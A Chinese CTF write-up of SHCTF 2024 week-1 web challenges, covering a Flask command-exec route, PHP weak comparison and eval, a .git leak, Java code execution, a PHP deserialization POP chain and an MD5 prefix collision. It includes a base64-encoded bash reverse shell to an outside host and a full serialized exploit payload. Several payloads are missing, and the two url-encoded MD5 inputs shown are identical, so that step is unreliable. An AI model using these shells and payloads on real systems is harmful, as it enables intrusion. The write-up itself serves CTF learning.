[SHCTF 2024]Web week1 合集¶
1zflask¶
打开环境是 404 页面,不要在意,根据提示我们访问 /robots.txt
,发现 /s3recttt
,于是我们阅读下载下来的代码,发现访问 /api
路由就可以直接命令执行。最终 payload:
单身十八年的手速¶
手点击 250 下即可获得 flag。但是我们要干一点 ctf 该干的事情;
我们检查这个按钮,在右侧“事件侦听器”面板找到他的点击事件,是一个叫做 addTimes
的函数。所以我们在控制台里面循环 520 次即可:
最后弹窗给出了一个 base64 编码的 flag, 解码就行。
蛐蛐?蛐蛐!¶
打开环境要求发送请求,我们点击按钮之后跳转到另一个页面发生错误,并且有一个 get 请求 ?ququ=114514
。在确定是爆破之前先不要动,我们查看首页的源代码,发现提示源码为 source.txt
,直接访问,得到一个 php 代码。
审计代码,发现要求传入的参数 ququ
有一定要求。首先是 get 的 ququ
参数,要求正着是 114514
,反过来不能是 415411
,而且两个都是弱类型比较。所以我们只需要在最后添加字母就行了,这样正着看会被忽略,反过来看所有的数字都被忽略被认为是 0 。
然后就是 post 参数 ququ
,要求前 6 位是 ququk1
,满足这个条件才会被 eval 执行。所以我们直接在前六位之后加个分号就行。 最终 payload:
这主要还是因为 eval
函数在执行时,第一条命令执行失败并不会影响第二条。
ez_gittt¶
打开题目查看源代码,翻到最下面提示把数据存到 git。我们直接访问 /.git
,发现有很多文件。但是下载比较麻烦,我们需要使用一些工具。网络上提供软件 githack 这个软件,但是直接找到的 lijiejie 的 githack 不是太好用,不能查看历史文件。所以我们需要下载 bugscanteam 的, 地址为 https://github.com/BugScanTeam/GitHack.
首先我们需要准备好 python2 环境。然后运行
这样就会下载到本地一个仓库。然后我们通过如下命令查看历史文件。
git log # 查看历史提交,找到有一个描述为 Add_flag
git diff 369f # 直接查看那个版本的代码区别
# 或者使用下面的命令
git checkout 369f # 直接切换到那个版本
然后直接查看出来的结果就行。
jvav¶
题目要求传一个 java 文件拿来执行。我们可以使用 Runtime.getRuntime().exec("cat /flag");
直接执行命令。至于回显,我们需要额外编写。这里我为了省事我直接反弹 shell 了。
import java.io.IOException;
public class demo {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC93d3cuc3hyaGhoLnRvcC8yMzMzIDA+JjE=}|{base64,-d}|bash");
}
}
然后在自己的 vps 上监听就可以了。
poppopop¶
这是一个 php 反序列化的题目。我们复制所有代码,删除所有函数,然后开始填写代码。我首先给出全部 exp 然后再解析:
<?php
class SH {
public static $Web = true;
public static $SHCTF = true;
}
class C {
public $p;
public function __construct() {
$this->p = new SHCTF();
}
}
class T{
public $n;
public function __construct() {
$this->n = new F();
}
}
class F {
public $o;
public function __construct() {
$this->o = new C();
}
}
class SHCTF {
public $isyou = "system";
public $flag = "cat /flllag";
}
echo base64_encode(serialize(new T()));
我们首先需要找到 pop 的起点,一般就是 __destruct
函数。他就是类 T。然后他会把他的属性 n
给 echo 出来。这个属性 n
会被当做字符串处理,而我们看到类 F
,正好就有 __toString()
方法。这样,我们把 n
赋值为 F
类的对象,就会调用 __toString()
方法。
然后,F 会调用属性 o
的 flag()
方法,这个正好是 C
类的方法,所以把 o
赋值为 C 类的对象。
然后 C 会把属性 p
当做函数运行,所以我们看到 SHCTF
类,正好就有 __invoke()
方法。所以把 p
赋值为 SHCTF
类对象。
最后,就是把 $isyou
和 $flag
赋值为我们想要的函数名和函数参数就行了。
最终 payload:
get:
?data=TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czoxMToiY2F0IC9mbGxsYWciO319fX0=
MD5 Master¶
有点可惜,我做出这道题的时间正好是周三的 8:30,当天早上 7 点开始做的,没做出来,被迫早八背着电脑课上做,已经来不及了。
这道题是传入两个参数 master1
和 master2
。要求两个参数在与 $master
变量拼接之后,严格不相等,但是两者的 md5 值严格相等。刚开始想着绕过,但是如果是数组拼接,会被拼接成 MD5 master!Array
直接成为了 Array
这样的字符串。这样最终两者本身也就严格相等了。所以只能爆破。
然后我就又想起来了 fastcoll
这个软件。去年这个时候我第一次认识这个软件的时候,我并没有成功跑起来。但是这次我跑起来了,这个软件就是在特定前缀下,碰撞 md5 的。所以非常符合题意。
爆破了不长时间,就获得了两个结果:
4d4435206d6173746572210000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff228acd9f9d8cdeeaf13865c7669d25365dfae5e2185b4d1af280414f30a4dbf8d4f9de60113aedeb09e723840dc34111f9562eb33445f13100297d949ee12aab1f71397fc2ed0285a69d039449df8c577b89a593e8e8ec2abd6fa6cfeab9ae313037a3788eac86ea19113a820c2ddde4e408bddad813c49156ebecb5fe0dad
4d4435206d6173746572210000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff228acd9f9d8cdeeaf13865c7669d25365dfa65e2185b4d1af280414f30a4dbf8d4f9de60113aedeb09e723848dc34111f9562eb33445f1310029fd949ee12aab1f71397fc2ed0285a69d039449df8c577b892593e8e8ec2abd6fa6cfeab9ae313037a3788eac86ea19113a828c2cdde4e408bddad813c49156eb6cb5fe0dad
然后我们把它处理成 urlencode 的模式,然后去掉前面的 MD5 master!
:
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%ff%22%8a%cd%9f%9d%8c%de%ea%f1%38%65%c7%66%9d%25%36%5d%fa%65%e2%18%5b%4d%1a%f2%80%41%4f%30%a4%db%f8%d4%f9%de%60%11%3a%ed%eb%09%e7%23%84%8d%c3%41%11%f9%56%2e%b3%34%45%f1%31%00%29%fd%94%9e%e1%2a%ab%1f%71%39%7f%c2%ed%02%85%a6%9d%03%94%49%df%8c%57%7b%89%25%93%e8%e8%ec%2a%bd%6f%a6%cf%ea%b9%ae%31%30%37%a3%78%8e%ac%86%ea%19%11%3a%82%8c%2c%dd%e4%e4%08%bd%da%d8%13%c4%91%56%eb%6c%b5%fe%0d%ad
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%ff%22%8a%cd%9f%9d%8c%de%ea%f1%38%65%c7%66%9d%25%36%5d%fa%65%e2%18%5b%4d%1a%f2%80%41%4f%30%a4%db%f8%d4%f9%de%60%11%3a%ed%eb%09%e7%23%84%8d%c3%41%11%f9%56%2e%b3%34%45%f1%31%00%29%fd%94%9e%e1%2a%ab%1f%71%39%7f%c2%ed%02%85%a6%9d%03%94%49%df%8c%57%7b%89%25%93%e8%e8%ec%2a%bd%6f%a6%cf%ea%b9%ae%31%30%37%a3%78%8e%ac%86%ea%19%11%3a%82%8c%2c%dd%e4%e4%08%bd%da%d8%13%c4%91%56%eb%6c%b5%fe%0d%ad
然后由于其中存在 %ff
这个字符,hackbar 无法传递参数,所以我们只能使用 burpsuite 这个软件来发包。
最终 payload 把上面两行数值直接赋值给 master1
和 master2
就行了。
文章热度:0次阅读